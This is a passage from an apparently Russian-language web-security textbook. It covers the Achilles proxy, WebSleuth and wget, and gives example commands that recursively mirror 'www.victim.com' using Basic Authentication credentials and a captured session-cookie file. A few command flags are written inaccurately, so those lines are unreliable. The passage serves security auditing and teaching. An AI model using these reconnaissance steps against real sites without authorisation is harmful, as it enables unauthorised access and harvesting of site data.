    Проблемы перехвата. Achilles перехватывает только текстовые данные. Сайт, который использует компоненты ActiveX, также известные как COM-объекты (Component Object Model) или CAB-файлы (cabinet), сложнее для перехвата, поскольку такие файлы передаются как двоичные данные, которые Achilles игнорирует. Achilles продолжает поддерживать корректное HTTP-соединение, но вы не можете манипулировать данными. Другие двоичные объекты: загружаемые ZIP- или PDF-файлы, также будут транслированы, но не будут показаны в текстовом окне.

    Web-сайты, которые используют SSL, зачастую порождают ошибки при использовании Achilles. Проблемный сайт с 20 объектами на странице (такими как изображения, таблицы стилей, файлы JavaScript и HTML) могут порождать 20 ошибок вида "Client failed SSL connection". Это не слишком большая беда, но это означает, что вам придется 20 раз нажать OK, чтобы закрыть окно сообщения об ошибке.

    Некоторые сайты приводят к неожиданному "падению" Achilles. Не слишком хорошее правило - просматривать сайты, чтобы определить, какой из них приведет к нарушениям в работе программы. Можем рекомендовать зайти на сайт, использующий прокси, а затем запустить прокси и изменить установки броузера, как только вы дойдете до той части приложения, которую следует проверять. К сожалению, этот прием не срабатывает по отношению к сайтам, которые используют строгий контроль за сессией. Achilles поддерживает HTTP (базовую аутентификацию), а Web-приложения, которые используют NTLM Authentication (поддерживаемую IIS), не поддерживают работу через Achilles.

    WebSleuth

    WebSleuth помещает функциональность прокси непосредственно в броузер. Программа представляет собой набор процедур на Visual Basic, работающих вокруг Internet Explorer. Очевидно, что это привязывает вас к платформе WIN32, но утилита стоит того. Она позволяет провести пошаговый просмотр сайта, одновременно проверяя переменные cookies и HTML-код, делая по пути некоторые заметки.

    Реализация

    На рис 8.8 представлен внешний вид интерфейса WebSleuth, на котором доступно несколько параметров для настройки. Рельефные кнопки Go, Back, Stop, Fwrd и Edit Source вызываются щелчком левой кнопкой мыши. Правая кнопка мыши отвечает за появление меню для каждой из плоских кнопок Properties, Toolbox, Plugins и Favorites.

    (рис 8.8) Основные настройки прокси для Achilles

    У кнопки меню Toolbox те же самые функции. Особой "фишкой" является функция HTML Transformations. Она удаляет скрипты, которые отключают многие программы проверки ввода, отображает скрытые поля, которые контролируют переменные сессии, сервера и клиента. Функция Generate Report создает великолепный список текущих переменных cookie, ссылок, строк запросов, форм, ссылок на скрипты, комментариев и META-тегов.

    Кнопка меню Properties отображает информацию о текущей странице. Обычно эта информация используется для просмотра установленных переменных cookie, инспектирования строк запросов или ревизии доступных на странице ссылок.

    Финальные замечания. Функции Analyze, размещенные на закладке Options:, не работают поверх SSL. Эти функции открывают окно, которое содержит HTTP-запросы и их аргументы. В этот момент вы можете изменить данные для изменения запроса POST. К сожалению, это не работает!

    Wget

    Последняя программа, которую мы рассмотрим, похожа на предыдущие. Wget - утилита командной строки, которая в основном копирует содержимое Web-сайтов. Она запускается для стартовой страницы и затем, в соответствии со ссылками, исследует каждую страницу Web-сайта. Когда кто-либо проводит аудит безопасности Web-приложения, одним из первых шагов является перемещение между разными страницами приложения. Для спаммеров целью может быть поиск адресов электронной почты. Другие ищут комментарии в программах, которые могут содержать пароли, выражения SQL, или другие интересные штучки. И, наконец, локальная копия содержимого Web-приложения дает возможность быстрого поиска такой информации в больших сайтах.

    С точки зрения администраторов, у Wget может быть и другое применение. Например, создание зеркал для сайтов с высоким трафиком. Администраторы зеркал многих Web-сайтов (таких как www.samba.org и www.kernel.org) используют wget или аналогичные утилиты для воспроизведения содержимого мастер-сервера на альтернативных серверах. Они делают это с целью сокращения загрузки и разнесения Web-сайтов по разным географическим регионам.

    Реализация

    Поскольку основной функцией wget является загрузка содержимого Web-сайта, то использовать программу просто. Для рекурсивного просмотра сайта используйте параметр -r.

    $ wget -r www.victim.com
    ...(continues for entire site)...

    Параметр -r или -recursive указывает wget на необходимость просматривать каждую ссылку на странице. Ниже мы создаем директорию www.victim.com и размещаем в этой директории все HTML-файлы и директории, которые wget обнаружит на этом сайте. Основное преимущество wget в том, что он просматривает все возможные ссылки. Таким образом, программа загружает вывод всех аргументов, которые приложение пересылает на страницу. Например, файл viewer.asp может быть загружен четырежды.

  • viewer.asp@ID=555
  • viewer.asp@ID=7
  • viewer.asp@ID=42
  • viewer.asp@ID=23
  • Символ ? в реальном URL. ID - первый аргумент (параметр), передаваемый в файл viewer.asp. Некоторые сайты могут потребовать более сложных возможностей, таких как поддержка прокси и HTTP Basic Authentication. Сайты, защищенные с помощью Basic Authentication, можно просматривать следующим способом.

    [root@meddle]# wget -r --http-user:dwayne --http-pass:woodelf \
    > https://www.victim.com/secure/
    
    ...continues for entire site...

    Сайты, которые базируются на использовании cookies для поддержки сессий или аутентификации, также можно просматривать с использованием wget. Создайте cookie -файл, который содержит набор достоверных переменных о пользовательской сессии. Для этого необходимо иметь возможность получить доступ к сайту, чтобы собрать значения переменных. Затем используйте параметр -load-cookies, чтобы указать wget на необходимость представиться пользователем, информация о котором хранится в переменных cookie.

    $ wget --load-cookies=cookies.txt \
    > -r https://www.victim.com/secure/menu.asp

    Wget может поддерживать сессии и сохранять значения cookie-переменных с помощью соответственно названного параметра -cookies. Это параметр логического типа, и вы можете либо выключить его (по умолчанию) или включить.

    $ wget --load-cookies=cookies.txt -cookies=on \
    > -r https://www.victim.com/secure/menu.asp

    Параметры --http-user и --http-passwd позволяют wget получить доступ к Web-приложениям, которые применяют HTTP Basic Authentication. Установите значения в командной строке и следите за работой wget.

    $ wget --http-user=guest --http-passwd=no1knows \
    > -r https://www.victim.com/maillist/index.html
    Вернуться к учебному плану